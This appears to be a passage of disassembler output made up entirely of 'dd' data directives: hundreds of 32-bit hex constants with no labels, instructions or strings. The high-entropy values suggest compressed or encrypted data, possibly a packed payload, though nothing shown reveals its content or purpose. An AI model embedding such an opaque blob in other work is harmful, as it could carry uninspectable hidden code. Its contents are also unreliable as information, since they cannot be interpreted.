		dd 0DCCFC8B0h, 0BD09E220h, 2021724Ch, 0DD32AB00h, 28F200BEh
		dd 0ED0B6DC9h, 600098Ah, 0E46083A3h, 0B3B229h, 74BEB699h
		dd 8AC22469h, 0CFDC0402h, 0A09511EFh, 805538C4h, 2E53FA8Fh
		dd 0BB3B67h, 52D7B09Dh,	0EE02686Ch, 9EE8EF71h, 182F6041h
		dd 0DD572B9h, 7794E93Eh, 80C1F191h, 66506751h, 18F99799h
		dd 19B32EA4h, 0D67130B0h, 0EE25EC00h, 0D86E5A1Dh, 85D10166h
		dd 0A654C9C4h, 0E7B6FC77h, 0B4003092h, 0CF823ACAh, 1F9A67A2h
		dd 0F17E72C4h, 0E05BD950h, 0D1121B30h, 30409F54h, 3324CB83h
		dd 0BC8100C1h, 604D7434h, 0B303D0A0h, 2EEF0A97h, 917CC0h
		dd 0B132CE5Fh, 0D5BC8D11h, 0EA643Ah, 917D8361h,	9BFE918h
		dd 8FC39DD4h, 1354B483h, 92B46901h, 50468B51h, 0F089E270h
		dd 0A7220160h, 82EB796h, 16A98799h, 0C8824374h,	3948F1Fh
		dd 7891E8D5h, 9E670049h, 2BD37BFBh, 834C080Bh, 0EFB685A8h
		dd 0BAD28440h, 358B352h, 0C2175DCFh, 0B4888064h, 69CE4977h
		dd 71450094h, 0D911DAh,	908699ADh, 3D662620h, 0BD03F578h
		dd 0BF610683h, 935900CBh, 13F1AEE3h, 0C09BA23h,	2B0FF4h
		dd 41178FBAh, 97CF0583h, 300A9BB1h, 0C5DC25E4h,	237EC700h
		dd 0A630B4BEh, 1D3C00ABh, 4AED43B3h, 5B503DD1h,	0A2006FA4h
		dd 2BF565E5h, 408DD13h,	92E970D3h, 8F0F000Eh, 0AFCA99Eh
		dd 0A6FD5D36h, 2BDC8734h, 0AD609FA5h, 282D7DC5h, 0A1CBAE4h
		dd 0F71366DDh, 67428600h, 0C0846156h, 0FFA6F970h, 94999CE8h
		dd 2632793Bh, 80A914D4h, 0D51B884h, 0FCDEB1Bh, 6737E900h
		dd 28B7F10Eh, 9D5CA2BFh, 0F90442Eh, 8BE977E1h, 6843F2E0h
		dd 33F4BD0Eh, 0AC4C301Fh, 872DA8C0h, 4849BBDBh,	7F151C4Ah
		dd 8F01F014h, 92E8883Ch, 1BD45050h, 79C32443h, 1C17644Bh
		dd 529128h, 4D31B6B7h, 0DE000D82h, 0BE788DF6h, 0DD88A5Eh
		dd 992BDD52h, 699DE059h, 4D22A800h, 0D54EC69Ah,	0D7DA0045h
		dd 46CBA2C2h, 750061E8h, 1C7A972Dh, 36340F8Fh, 88418EE9h
		dd 80B49C48h, 0DB9EE2B9h, 7C7230DDh, 96C193A9h,	0E6155500h
		dd 981475F0h, 0B3B9C10Eh, 56C211CBh, 5003AE90h,	5E555BBDh
		dd 0D160F0B7h, 0E8C8014Fh, 5D9EDFBFh, 468FC07Bh, 0AD0A2498h
		dd 0B0122A5Fh, 0ABA3CA40h, 0F07E22Eh, 7D585DC2h, 59F14B80h
		dd 8D14F971h, 0E4EA70h,	9EE92A66h, 0D5D6E3h, 29FA7507h
		dd 0E18A63DAh, 0C5005E7Bh, 8953677Bh, 529F1Bh, 64E7D8DFh
		dd 54B496EFh, 0DE99EA01h, 3C429176h, 0D1446030h, 0FA0068F1h
		dd 0B4C9483Dh, 52000D1Eh, 3A6D5E4Ch, 482C1F0h, 1CC2D05Ah
		dd 2C388038h, 0E9110A7Eh, 2A011916h, 0F5F7BA33h, 1189C801h
		dd 14ABE41Dh, 18691849h, 6F0F350Ch, 0B180486Ch,	5368BA5Fh
		dd 0F8C5040Fh, 61709FC1h, 1863269Dh, 0A1E4F708h, 0C904B0E7h
		dd 0E9E6771Bh, 0A1A9CCC0h, 0F6BF2A82h, 1A4A00E8h, 0D507AB9Bh
		dd 3D04EB29h, 92991440h, 0C09A3C88h, 7E7BD089h,	6300ECEFh
		dd 9C8D54F0h, 42CA3FEh,	0FAB42781h, 59E8C78Bh, 0FFBA000h
		dd 0C631B9Ah, 1E157589h, 28A00849h, 6743550h, 0B4B80019h
		dd 6420ED6Ah, 3DA1E060h, 1BC93E1Ch, 0E855D383h,	4A1271B0h
		dd 0B53981E5h, 418ECF06h, 3BE74DC4h, 61EE33E4h,	0BF4B3860h
		dd 7F00B98Fh, 22C917BBh, 0F8C26C20h, 8C530B2Dh,	7001124h
		dd 7E1BF172h, 5C94B250h, 0BF3C8508h, 49BD82EAh,	0B1E07CEDh
		dd 9D038E24h, 0A3638B05h, 0AA3004BBh, 8306D8F9h, 0E1154AFFh
		dd 7180192Eh, 41B71100h, 0BC879B0Eh, 798E7F30h,	0A1AD09E4h
		dd 3090981Bh, 29615C8Ch, 0E96A8FE9h, 51BC03CDh,	9E691860h
		dd 82266D1h, 0BD161894h, 1BBA9FCh, 2A26F700h, 0A4E1D266h
		dd 0D6AF0276h, 0B50E6191h, 60686061h, 0D4905CCCh, 0F898ECA4h
		dd 61D42C00h, 0CE0B87F5h, 3C62E372h, 89313200h,	0FF4EE515h
		dd 83601A00h, 7658E32Dh, 58A090C3h, 0BA2B64BEh,	0BC180048h
		dd 0DB155B8h, 0A6AB8B03h, 7D3B77ACh, 0C56E1D7Ah, 703E8AF3h
		dd 86968138h, 0F4771742h, 75180241h, 7B51FDB6h,	379D2E18h
		dd 22C600F1h, 9CAFC6Ch,	0FEE32300h, 1A47517Eh, 0A86254E7h
		dd 0D77300Ch, 57E24E59h, 0F0B17809h, 9E118502h,	0A07DB008h
		dd 9AE600E4h, 80FFC926h, 0EF02AAE5h, 529C873Eh,	0EFC46ADh
		dd 0AF9E9281h, 67FDE3E0h, 4025F63h, 86C6F9Bh, 6070E49Fh
		dd 1CF32065h, 47607225h, 0B2699B69h, 0BF340249h, 357C897Eh
		dd 59BA0640h, 5071B53Ah, 0F0485FD0h, 6FAA405Ch,	2D1C2005h
		dd 8440FEB6h, 0BC9C30A3h, 4E1F000Ah, 4C8A6989h,	10008D82h
		dd 387FF4AAh, 0EADB7C80h, 0A76E0684h, 991DF108h, 0C8C43E00h
		dd 0F578F69Ch, 63702AF7h, 911690E4h, 0B94C00FCh, 45025964h
		dd 0C5856D00h, 0B7E14963h, 27830207h, 9A88110Ah, 74AFF4E2h
		dd 0D36B66A0h, 0F7F0B8FFh, 0E563800h, 0BFF56861h, 6C0C12B9h
		dd 902572h, 0F22949CEh,	54E283CEh, 6A39A203h, 81D01CA9h
		dd 2631F0DAh, 3E008063h
		dd 9A87183h, 12225D54h,	3F6001C0h, 11361F08h, 1CD44CCFh
		dd 27011226h, 18714F07h, 0B60CB720h, 3AD8B8DDh,	8818073Eh
		dd 671B9148h, 6F463FFh,	9B2B3E05h, 262A0081h, 0F0EB0285h
		dd 61035701h, 87B58350h, 0CD90D852h, 9DA50F5Ah,	0B1257B8Ch
		dd 0E1F0C7EBh, 891C9508h, 0B069E759h, 8AEB878h,	0E2671432h
		dd 0DE013E9Fh, 2EACAD31h, 0BA000429h, 362126B7h, 0DA180104h
		dd 7831E9B6h, 51C5003Bh, 20101A41h, 0A00F245h, 2758A7F8h
		dd 5C57750Fh, 5616598Ah, 0FCF41462h, 38F39911h,	95916054h
		dd 0C0047Eh, 0C24BB2A6h, 65D4868Dh, 90A87777h, 1C007C1Eh
		dd 79C0912Ch, 977280h, 314B668Dh, 0A16EFED8h, 2288E48h
		dd 88FDAA5h, 0CC2C605Bh, 1C3B0633h, 79E1B631h, 154E8601h
		dd 0DF65C239h, 0A2076C23h, 0F0DEF002h, 0A3E740CFh, 33CD4F00h
		dd 0CE497C19h, 991D00A0h, 7AD26CB5h, 132EE8C4h,	77475414h
		dd 9C1C83DBh, 0C88FA051h, 270A04Ah, 0B8C50184h,	634D7AA1h
		dd 0BD9DD8EAh, 4A1BA217h, 0DBBFF031h, 37071028h, 0A42462BAh
		dd 1128C2D9h, 0CC51C890h, 4261AC02h, 404536F1h,	1299C5D8h
		dd 0BEE548h, 3B87C21Ch,	0A56E6C3Fh, 11A14498h, 0CAC088h
		dd 5D28E77Bh, 1FF9C9Dh,	50EA6C20h, 0B0D9A0BCh, 70ED0048h
		dd 61B3E7FAh, 712A0C6h,	8D12BC9h, 6DD46C5Dh, 144FA7Ch
		dd 902401D2h, 9DB6AC06h, 4205FFC0h, 902185E9h, 1070DFF7h
		dd 0C6A4012Bh, 0CF1D617Dh, 567C30D0h, 0C83FD101h, 4DD3D8FAh
		dd 0FF88475h, 30DC74F5h, 5D28EA5Bh, 24906E40h, 0EC858C82h
		dd 53B80903h, 40E73084h, 0E1565C65h, 8A960106h,	0B3EB1510h
		dd 0E89450ACh, 6AF183AFh, 0D308AA05h, 798794C0h, 0B194FCF9h
		dd 0C88F1204h, 0AC5CBDF0h, 0D8BE0932h, 0BA38902Eh, 7E660F4Eh
		dd 380F870h, 0E7AA485h,	61F32000h, 0CC31D69Ah, 7BCD0475h
		dd 88B6F530h, 4902E07Ch, 0FFCBDDE4h, 7AF41CFh, 22E0CD0h
		dd 0AE871CBDh, 0A48390DAh, 1BD0C6CAh, 0E1C04572h, 21E198CCh
		dd 944F3BD8h, 0AB183F8Fh, 0CCE8CA0h, 744CBB91h,	0DAE5C01Ch
		dd 7F80573h, 794007EDh,	0E3DC3025h, 1100A6C5h, 7720B26Ch
		dd 0B0B80F8Fh, 0CDF72220h, 4C90B624h, 9E679487h, 0A5809740h
		dd 3983E21h, 174C3800h,	856DEADh, 0DA1F1813h, 9B57C88h
		dd 0E1D58F1Bh, 0D41C4800h, 6D4B8D18h, 90772409h, 0F49ECF7Ch
		dd 0AD700099h, 0B4A54304h, 367039BAh, 0FE598804h, 58C023D8h
		dd 3963A8BCh, 0C604AF84h, 0A42B2054h, 603C0A10h, 354D00FCh
		dd 22F80836h, 0D0F53DBBh, 4BC6B504h, 31D8C92Fh,	2E2D427h
		dd 6106A000h, 0D98AC1C8h, 80AB48F1h, 5F83A905h,	3482AFC0h
		dd 1DA06411h, 804CF013h, 0AABE1584h, 0B10D632h,	1A96991Bh
		dd 0E86891C0h, 1D48F2B6h, 0C37109A0h, 44F889DAh, 10AC06F8h
		dd 991611AFh, 3813E700h, 0E14D558Dh, 0C28A01E3h, 8C3B52B8h
		dd 6274602Dh, 3A40CC94h, 24BF6C65h, 9ACEF41h, 788054D3h
		dd 8469A6D6h, 0FB9EF11Fh, 79004226h, 66E82687h,	942E30A2h
		dd 0DED6F271h, 8000C17Ah, 2297E460h, 0CACD24h, 3A44E921h
		dd 9F1443C7h, 0DD80413h, 802EA8C2h, 831E8D58h, 1F38024Ah
		dd 0D227E7F4h, 0C80B051h, 70048A64h, 9C182715h,	20AB1490h
		dd 1E88DE3Bh, 5BC52580h, 0FCC30B37h, 0E8B6F184h, 20FD2980h
		dd 0CB992954h, 0B4D1DB00h, 0B7CCB250h, 0F18A083Eh, 0C00064Ah
		dd 290DD6FDh, 16E8A4CDh, 8979F8C3h, 928D3044h, 0B8AC8500h
		dd 6997544Ch, 521D14A3h, 3F099CDCh, 34023922h, 8E41F3A4h
		dd 0EC980CAh, 0A87FD715h, 0F08756E9h, 0D2134A04h, 7014C8BFh
		dd 394C3200h, 462BF5AFh, 0ECD8586Dh, 6FC0745Ch,	181C8752h
		dd 0FADB6101h, 0B5BAF7Ch, 4CC1FDF8h, 2860DB8Ch,	8414838h
		dd 0A821994Bh, 807070B8h, 804CB9E9h, 6AA19EB9h,	46023143h
		dd 4B496EAh, 32108772h,	2D0B7C80h, 73A201E7h, 0A8E689F1h
		dd 402BD53Eh, 0FF994E24h, 53CD5A03h, 0A00E1322h, 0ED8D235h
		dd 52C5C867h, 0C47B4DC4h, 8D9880E0h, 0EC9053CFh, 1090D964h
		dd 683064A5h, 31D3890Ch, 0D20F228h, 3330F563h, 6C49B88Ah
		dd 0C4FB2EB1h, 67384123h, 18B909CDh, 8474126Bh,	0C11EDEC8h
		dd 0C19B4013h, 2039B6h,	78FB6BBEh, 7EB9BA27h, 584F4831h
		dd 0F20FF90Bh, 18607C99h, 3939FEB4h, 0CC00EFB7h, 0E19AADB9h
		dd 0D1623C95h, 80658D70h, 218458C0h, 771829E8h,	64700320h
		dd 0E3CFD8EEh, 0E148468Dh, 785CC014h, 31412EBh,	639E4E89h
		dd 77B85431h, 95480FFBh, 748CCAF8h, 0B712E028h,	50918AE9h
		dd 39421Bh, 38204B27h, 0B28F110Bh, 0D44C7B00h, 9EE9283Ch
		dd 71F229EEh, 7B00B98Ch, 0AA59ACB0h, 2A2EAB4Fh,	75163287h
		dd 523082h, 80599BB5h, 0F0E9B12Eh, 0FA836000h, 0B7065Fh
		dd 65ECDCFFh, 0D6958F4h, 0C55A3F06h, 89974Ah, 0C12A68F3h
		dd 175E9D2Dh, 0CC8E081Ah, 0B74420D9h, 799814Ah,	0B361AF73h
		dd 882EC415h, 0F600F5ACh, 663AD983h, 5F084ACh, 6BED8D1h
		dd 5D608854h, 8751207h,	908084ADh, 1506399h, 0FCA0B717h
		dd 0F01894EBh, 0F22708BCh, 0A4EC13C1h, 0DF99AD40h, 0E90B80DCh
		dd 80D375B2h, 8CC35288h, 4C273E6h, 6A83FF3Eh, 150CC4Eh
		dd 99A8F100h, 15D1E4BBh, 36E209D8h, 70885EAFh, 0C8BD44F4h
		dd 570470FCh, 259F08Eh,	0F889F886h, 1CD3E8F8h, 0C530BAEFh
		dd 0C87787E5h, 46054530h, 0BBB74E4Ch, 13C00Bh, 887021F8h
		dd 0DF4865h, 633040h, 5CA25275h, 2B0790B0h, 0E5E11D67h
		dd 14ED800Bh, 7CA61F05h, 75FB0B98h, 0AC8085C5h,	21F62E08h
		dd 9761EA74h, 4329C699h, 0F4FA3D4h, 5457789Dh, 0AA76C7FEh
		dd 7BE6A1F9h, 0A85060EFh, 0BFB9D513h, 0E0BEC822h, 13DA5085h
		dd 302C21Ch, 0D28EFC0Ch, 0BC63BCBAh, 0A19C6BE0h, 0C398C01h
		dd 8F9A4B16h, 12880F20h, 252C6D5h, 127651D0h, 0F887D710h
		dd 2B70CE5Dh, 3F8F9061h, 38603D12h, 8EEE00B4h, 425BF9F2h
		dd 229A000Dh, 84E725FBh, 401ACBBh, 758BCBC1h, 0C0F62B76h
		dd 275B0900h, 4F5E8D01h, 0A6E94B00h, 27D94315h,	4103C69h
		dd 101C86Eh, 0B4E2F218h, 57C48A7Bh, 0CC90160h, 0FEB5E11h
		dd 0C40854h, 7449A314h,	6A79EB8h, 0B9771301h, 8539E462h
		dd 168050E6h, 30FFAD68h, 0E4350550h, 0B90BE8FAh, 90776C07h
		dd 1D947594h, 0A0CC0CEBh, 2B3E1014h, 4A59001Ch,	0BA798455h
		dd 0A0FA0BD7h, 1000DE8Ch, 0F59A4018h, 147F8705h, 14889B08h
		dd 8359139Eh, 998AF01Bh, 148EE00Bh, 0E0FC1311h,	0B7A3E6h
		dd 0F315F157h, 80C1D0A7h, 5694EE07h, 86109FF6h,	12E6AFE8h
		dd 91BFB76Dh, 0E460CB04h, 0D9003218h, 2578AB91h, 0CCB603h
		dd 70639B48h, 0E9E0985Eh, 0FE1BF16h, 78200C16h,	714A5DCh
		dd 0C5057792h, 0AE611562h, 0B297E000h, 0B1DFF701h, 94088348h
		dd 5D9BB5Ah, 0DA03AB8h,	0F53330F8h, 14766628h, 0D456995Ah
		dd 0D016941Fh, 18228C1Fh, 301BBF8Ch, 0BCBE2BB4h, 7C828Eh
		dd 0CFAD424Dh, 0CE900430h, 80555B69h, 41C98FAh,	699231E9h
		dd 6257394h, 69E4A02Bh,	2C4EC8FEh, 26D8A89Dh, 8C0700E4h
		dd 6C3EB05Ah, 991BEF13h, 646CE489h, 2361B987h, 2838D62Eh
		dd 1E9CD81Ch, 6319D837h, 14769C38h, 0B58EDB00h,	630CC1D9h
		dd 4B245898h, 0F421A56Ch, 0E8136013h, 4418A086h, 0CD5C9CE5h
		dd 0F3E20040h, 203C3175h, 0C630C153h, 32B6664Eh, 622C002Ch
		dd 72FB7128h, 109912h
		dd 0EDCD21A7h, 733819C6h, 8B480076h, 0CB956FFh,	0E6907EF4h
		dd 368C17DEh, 92ECD172h, 336A709Bh, 142B5A2Ch, 0C2DBAA40h
		dd 0B38707CFh, 79C7D43Ch, 6108Bh, 70E8D0B7h, 0C9187EDh
		dd 33C0C6B8h, 0F6C4A892h, 502D0696h, 5EB9B59Dh,	8A80E4B4h
		dd 79CD669h, 448EF85Dh,	0C35E1C09h, 0ACC06034h,	0B8C204DDh
		dd 11B570D8h, 5BFCB641h, 46559840h, 0D9D621h, 0BDCB8515h
		dd 0B797CA96h, 75F63C7Fh, 0BC2E20FFh, 8D09A890h, 50C29803h
		dd 5C2D26C0h, 219A16F4h, 0E9753E40h, 8EC41B7h, 8FC868F1h
		dd 5A6203E5h, 0D14802D7h, 961B940Eh, 0E99E7454h, 30931F12h
		dd 0B28F69Ch, 1230E08Ch, 118F9C10h, 373BF27Eh, 304DCB9h
		dd 96668A99h, 76F9976h,	0A1E12430h, 0C7140F84h,	2F83B800h
		dd 9FDB067Eh, 0AB323F0h, 0AE34009Ch, 0C93DC4C3h, 0A100D627h
		dd 949DAD86h, 661984h, 0EC9950B8h, 348981D7h, 0CE9B558h
		dd 702A88C4h, 5DE1718Ah, 6301D866h, 0FEA16B8h, 55BC4005h
		dd 0C09EFEF3h, 970A1D40h, 23D03F85h, 74038CC8h,	0FAB7F050h
		dd 3EFAC1BEh, 43D458CEh, 0E2E337E8h, 0DB841D1h,	749E1C30h
		dd 86C302C0h, 7736D9EFh, 0A500C451h, 49E9BAF5h,	9917028Ah
		dd 0C7C0D24h, 0EA009CC6h, 757FE220h, 3C064Bh, 7E08FDA9h
		dd 0E59E2E78h, 9BB68800h, 8BA18793h, 1BD812E2h,	1D2CA44Ah
		dd 0B0B6BE38h, 326771F5h, 1DA6EE19h, 0C1380306h, 0FF9DD7F9h
		dd 0A503CE9h, 20401BA5h, 67A13D00h, 7381C1D4h, 0D06400DEh
		dd 4222C730h, 0F0CBC874h, 0B4441Fh, 71B7501Bh, 0E0A4F704h
		dd 4A190F03h, 80F8F573h, 0B8C1CEh, 8AD91F02h, 93304BC0h
		dd 0BD9EA601h, 98C73476h, 0ECB68024h, 69E73C1Bh, 9E8416A8h
		dd 68DA43B0h, 0EA56CA88h, 0F91FDCE4h, 5F00208Eh, 4B643BA7h
		dd 4A540073h, 80836382h, 11EAC8A5h, 4009684Eh, 0AC501099h
		dd 54DD0F20h, 69784A26h, 7A3CC3EDh, 0E93C80B8h,	231760C8h
		dd 9E870330h, 0CC58C22Fh, 0F75F42A8h, 90DE9925h, 0CD3A60h
		dd 1C8717E7h, 57FF2C06h, 3C672601h, 664B419Eh, 0A03541E6h
		dd 83604040h, 393612C5h, 705CB42Bh, 5C5AB800h, 0DCCA8253h
		dd 25B901A6h, 0C94F6F2Ch, 0DF01D091h, 0A04837Eh, 11A50DFFh
		dd 13D418F5h, 829100E6h, 9EE9462Ch, 248638Bh, 0E7EBC068h
		dd 49DB485h, 0B9187EC9h, 8B2C7h, 41104E58h, 244E857h, 2D8B0ED2h
		dd 10C1D88Dh, 0E62A1014h, 0F7EF093Dh, 74902B4Eh, 0ED054562h
		dd 3E38E7F8h, 4CB2CCC4h, 92408802h, 20C14112h, 8C9C20C2h
		dd 1755CE3Ch, 0A02011EAh, 4AA821h, 98E1A5C7h, 0F640BD0Eh
		dd 918DB704h, 94A911A4h, 0BBC89D00h, 46B33585h,	29F4B87Eh
		dd 58069930h, 0BC6C68ABh, 55C440D0h, 34006BC5h,	22EFAECDh
		dd 9877928h, 0DFF89D66h, 0EB76F444h, 4F899538h,	0A0C8D820h
		dd 69BF00C7h, 120874F4h, 54003801h, 464B8F99h, 973E67DFh
		dd 0EE2F9890h, 7EA8FC4Fh, 34E0F100h, 92675CCh, 7369A3Eh
		dd 0C07238Ah, 0BA0D8560h, 2E902A5h, 0A7DF8EEAh,	0F1C02460h
		dd 820AD4Fh, 299894h, 2797C35Eh, 0BF05E873h, 0CFFE6600h
		dd 77142574h, 138903F1h, 0E6A04D72h, 0DB8EE5D8h, 32C0415Dh
		dd 769ABA31h, 0BA608714h, 62E7C227h, 82ED85Ah, 0F260CC8Ch
		dd 136186EBh, 0D62FDBh,	3EB6D93Ch, 1498A165h, 4C70CE5Dh
		dd 0E30EDF88h, 2095EFABh, 9EE45209h, 15B20F4Dh,	0F889B1Bh
		dd 2430B100h, 482F34D3h, 0DD0A40EAh, 0C10641Bh,	0BD60A23Eh
		dd 3147882h, 767ECC3Fh,	0BF98D397h, 0DB3FEF79h,	6EC1169Ah
		dd 0C8D63C03h, 0E6A5A196h, 24E7B920h, 1C805BB1h, 18CC06EDh
		dd 489E617Fh, 8EB1173Fh, 0F9080C8h, 9B288120h, 2EEE55C0h
		dd 0B22457B4h, 64607061h, 27C459C3h, 6C8482A2h,	8CB1521Fh
		dd 0BDD9888Eh, 5AC0B9CFh, 0E8D7A4BAh, 0A4208E5Ah, 6B394A68h
		dd 0E4E42091h, 4B554E00h, 0AC75EDAAh, 0C59358C9h, 6011C39h
		dd 55996EC4h, 80586C89h, 0BBD52421h, 0FDAD01D4h, 0E95EECB5h
		dd 7FD02287h, 0C028E44Ch, 6323BF4Fh, 5975149Eh,	1400FD79h
		dd 92CEED88h, 1C049426h, 0BCA9B784h, 4283E4ACh,	3380FEC7h
		dd 7D02DA65h, 2A1D9E94h, 98CC61ACh, 0A17F1C29h,	0F4C8ECD4h
		dd 0AA0B262Bh, 0E8A6C0B0h, 88099FB7h, 481239B2h, 0BFE2ECh
		dd 0FB921598h, 8CC36DE0h, 3E138300h, 0FC5D2218h, 0B88B0E07h
		dd 6D65C4C9h, 50E780D4h, 200C375h, 641AE82Bh, 3EBC9DA8h
		dd 240F381Ch, 630F30F5h, 42670501h, 0C3D2402Eh,	0C2243B8Ah
		dd 6E0096B8h, 1884EFB0h, 60BC9C60h, 2220B3E0h, 9063512Dh
		dd 0FD37F8h, 576D85B4h,	5076ECB3h, 0F838D903h, 0C83B398Dh
		dd 0BEEEF0BBh, 1D6E4078h, 38005258h, 99E13BA4h,	2B7ADA9h
		dd 0BCEA2859h, 0DC7C7618h, 2581F582h, 19F84039h, 5F9F0082h
		dd 6329B0ACh, 78F8E959h, 721189C9h, 3E530FD4h, 0F6009B0Bh
		dd 562F12A3h, 7D069970h, 0DEBF24C9h, 0C06082F4h, 65E4DCh
		dd 0A8B8D746h, 72900CC7h, 0B02144h, 0FC1F5C36h,	1C712B31h
		dd 0F353FA00h, 0BFE826F5h, 75610738h, 51B799C2h, 3811BD2Fh
		dd 549E1C9Ch, 0FD7084FAh, 68F2C80Fh, 81F6F21h, 9BF422A5h
		dd 0CC0D0B6h, 0C9B9EFD2h, 3E186460h, 0F3189E9h,	0FFD70FB6h
		dd 90D2B8A1h, 5B7678FCh, 86EEF400h, 81630F8Bh, 0DBC20499h
		dd 0E44F1467h, 68E7E9F8h, 1219FECh, 186DC08Ch, 93D46969h
		dd 0E213DC88h, 0EC8D006Eh, 0D8767DBCh, 1CEAD4AEh, 0B3158601h
		dd 4E3CFA66h, 84F020h, 18BEE289h, 61B6FFB1h, 284C458h
		dd 1AE142ADh, 695860E4h, 55CB0988h, 0D852BD17h,	759BD600h
		dd 2BDBED48h, 0D083000Ah, 0E0D7FB0Ch, 920F9A70h, 0CCDCF70Eh
		dd 0FE9E9908h, 3004B0E3h, 0A8369466h, 50044512h, 71FFBF70h
		dd 0EAA68B4h, 40232E6Eh, 3D8C6C60h, 0D09C754h, 687718B9h
		dd 0A4830870h, 633E26C8h, 0D6546028h, 0BE1878EBh, 0BFE84A9Dh
		dd 145B2D5Ch, 726C9090h, 0A8803099h, 0B9E3F3CEh, 268779Dh
		dd 80FCE209h, 304664B2h, 0B0661D0Fh, 870B17h, 7770D6Fh
		dd 2C5E01F9h, 513582C2h, 8C63C27Dh, 7460AEE2h, 0C1448CCh
		dd 80844A22h, 85C5B464h, 41507BEh, 0A328AC21h, 0FCCC0942h
		dd 24EC054h, 139B4BCh, 0B748E57Ch, 0C8C4FA2Eh, 0BA3DF436h
		dd 0FBF16072h, 3585718h, 2D549C50h, 78F9C55Bh, 0A4DAE8DDh
		dd 68B48E0Bh, 5C4404D8h, 6D8008FCh, 9523F7CEh, 94E95612h
		dd 7181B430h, 0CC1A043Ah, 0B2950865h, 51F100A4h, 0EFD9B3EBh
		dd 3BDF2596h, 0AC403CA9h, 0F02755BBh, 490081A5h, 47101D2Bh
		dd 4E072D38h, 60A2618Ch, 0CADBDEE0h, 9E84001Bh,	0F1ADD552h
		dd 0D324086Eh, 8FE0FC86h, 12E6F85Ah, 0B288E8FBh, 8CDC036Ch
		dd 0E86571D4h, 58ECC8F4h, 1F10FC25h, 75E7130Ch,	67D95090h
		dd 133A05ACh, 884AFDCBh, 4C01B528h, 10B6E7DBh, 0A1F074C3h
		dd 3C61CCBh, 0D83AC098h, 37E96759h, 1761D43Eh, 2807DADBh
		dd 66E151E2h, 0C339B08h, 5CBAA201h, 3464C561h, 4496C938h
		dd 58802429h, 8ED2ACC3h, 38B400C6h, 6C3B6FE4h, 3C019880h
		dd 88FF7E81h, 488CBF47h, 0E308CC8Bh, 599ED91Fh,	87767AC2h
		dd 2051EFh, 22B4318Ah, 0FC0F9117h, 1A81EEh, 7419E0Dh, 0AB7112BFh
		dd 0CC0050EAh, 5444DD2Dh, 4DF01A00h, 0A9EC87F8h, 0C38F1D0Eh
		dd 9E828D0h, 9151FBDDh,	0F601C859h, 9543AA0Ch, 0C9D84893h
		dd 0D093D538h, 2D1630CAh, 8B0DD2Ah, 99F80C49h, 0E0506C3Eh
		dd 87B34F01h, 431B3C3Fh, 8A33F0h, 9A74A834h, 2FB10620h
		dd 620985EAh, 80C54708h, 559D3ED0h, 12BCF876h, 0A03238ACh
		dd 109273F8h, 6C88B64Fh, 7D37451h, 8D33D9C8h, 846130FEh
		dd 6F027468h, 77C223BCh, 86600E0Fh, 0D27FF21Bh,	2E8FCF0Bh
		dd 0EDE8102Fh, 0D8321F74h, 3649C7FFh, 4E403E30h, 66AC8AD4h
		dd 6D58F50Ch, 1D6E0E9h,	0A465C87Ah, 628E18B3h, 67A11E18h
		dd 110A620Ch, 90115AC2h, 0D1289B5Ch, 39336C00h,	4937069Dh
		dd 997D0F45h, 0C21B127h, 0B8601BE8h, 6F084450h,	0D105B994h
		dd 0DA8C00C2h, 669F5FC6h, 0A7B03150h, 44196D2Dh, 1F6004Ch
		dd 0C392E889h, 240EE180h, 0F75E15h, 0F585322Bh,	4C77487Ah
		dd 0ECA9FE81h, 52E28054h, 8F6BB990h, 983EE010h,	0E26A1670h
		dd 0B2EC81DAh, 0D1A03C01h, 0F08100F0h, 630DB3AFh, 0B0D090DAh
		dd 0C88718A8h, 0E980384Eh, 0A8D18E4Fh, 78629B1Bh, 4C205425h
		dd 4C598A0Bh, 0C83E3706h, 19134Ah, 1B5E997Bh, 4DF3EE82h
		dd 1FF5D609h, 0C6F80936h, 0DB0C01F4h, 0D48A35A8h, 76BACC9Dh
		dd 0A882912Eh, 86AF651Fh, 1D981BF8h, 0BEEF9DEAh, 0C3890C58h
		dd 430080C4h, 0ECCA91CEh, 662EFFh, 0A804445Eh, 6F2DAFFEh
		dd 0C580C26h, 80D5C20Bh, 62CBE000h, 0B09272C0h,	4A847CA4h
		dd 27FCCCD9h, 0DB5EEE07h, 0AA61C5C9h, 0A0E40522h, 69820231h
		dd 1A78A25Ah, 9447F456h, 1D73C2E0h, 0CEEDEC54h,	7767D0AAh
		dd 99C1D4F1h, 8070E938h, 15CDCCB9h, 2CA2464h, 8B22443Ah
		dd 5CDCC201h, 8A2BCF04h, 0A04D58F8h, 81F7EA80h,	0E800CD76h
		dd 0F07DC6ACh, 9413E9ECh, 84E625ECh, 0AE02E87Dh, 0D3D79587h
		dd 0C77460BBh, 8064B611h, 0B5E32C78h, 0D4F66263h, 96B6A400h
		dd 44872642h, 9EA63D7Dh, 8C382780h, 0C6E68666h,	0FF6509Dh
		dd 0DF2BF532h, 1824BA21h, 0C87963h, 0B1AE5287h,	399F1BB5h
		dd 0E90B81CEh, 68E4620Eh, 7A6C3600h, 0BF643BF6h, 0AA590920h
		dd 24F9B61Dh, 0C9C51200h, 151FEFh, 0F3E854FFh, 0A0A710DBh
		dd 8C067178h, 0FCBFEAF0h, 12277A31h, 0A0AF027Ch, 0E13BEC11h
		dd 0F6C701D2h, 8FE93934h, 0BC0FA181h, 0CC13F83Eh, 0D0B16C07h
		dd 0B2064480h, 3AF284Ch, 0EEFA15A0h, 0C4B8E922h, 7D007E9Bh
		dd 0B9EA3DA4h, 278F9068h, 80C6944Ch, 83432F00h,	983C2DD4h
		dd 0C2B84FA0h, 48C08414h, 0BF5ED87Ch, 0C1D7B890h, 7A87E98Dh
		dd 0E2E90856h, 98610D64h, 50706A4Bh, 349F80h, 316F9D67h
		dd 6BAF6A33h, 0E9DC3217h, 0E017C832h, 4CDFE63Eh, 2C7F00C3h
		dd 347C88F0h, 759880A1h, 995A1BDDh, 104BCC49h, 0DB34E8h
		dd 0FA71E8E4h, 0D8F6C461h, 0BF007FB0h, 8DC21F65h, 183AD73h
		dd 40D5095Ch, 8B070DEEh, 0E439E0B8h, 0FCDB1FC8h, 0E802C124h
		dd 6398FBAFh, 0AC7D0E80h, 376D40A4h, 135721E7h,	0A2FCD848h
		dd 0BB9E1FA4h, 82CD5F80h, 1853894h, 3120A61h, 0F090F2E2h
		dd 415C162Dh, 0A884C058h, 7B754AAh, 2457B617h, 64FB5051h
		dd 5059CC2h, 6CA3698Fh,	1C288Ch, 0EE7D72C4h, 0B8FC2B56h
		dd 30DA0D0Bh, 0AE8010C6h, 0B6CA1E2Ah, 0F72740ACh, 0B9CD75B2h
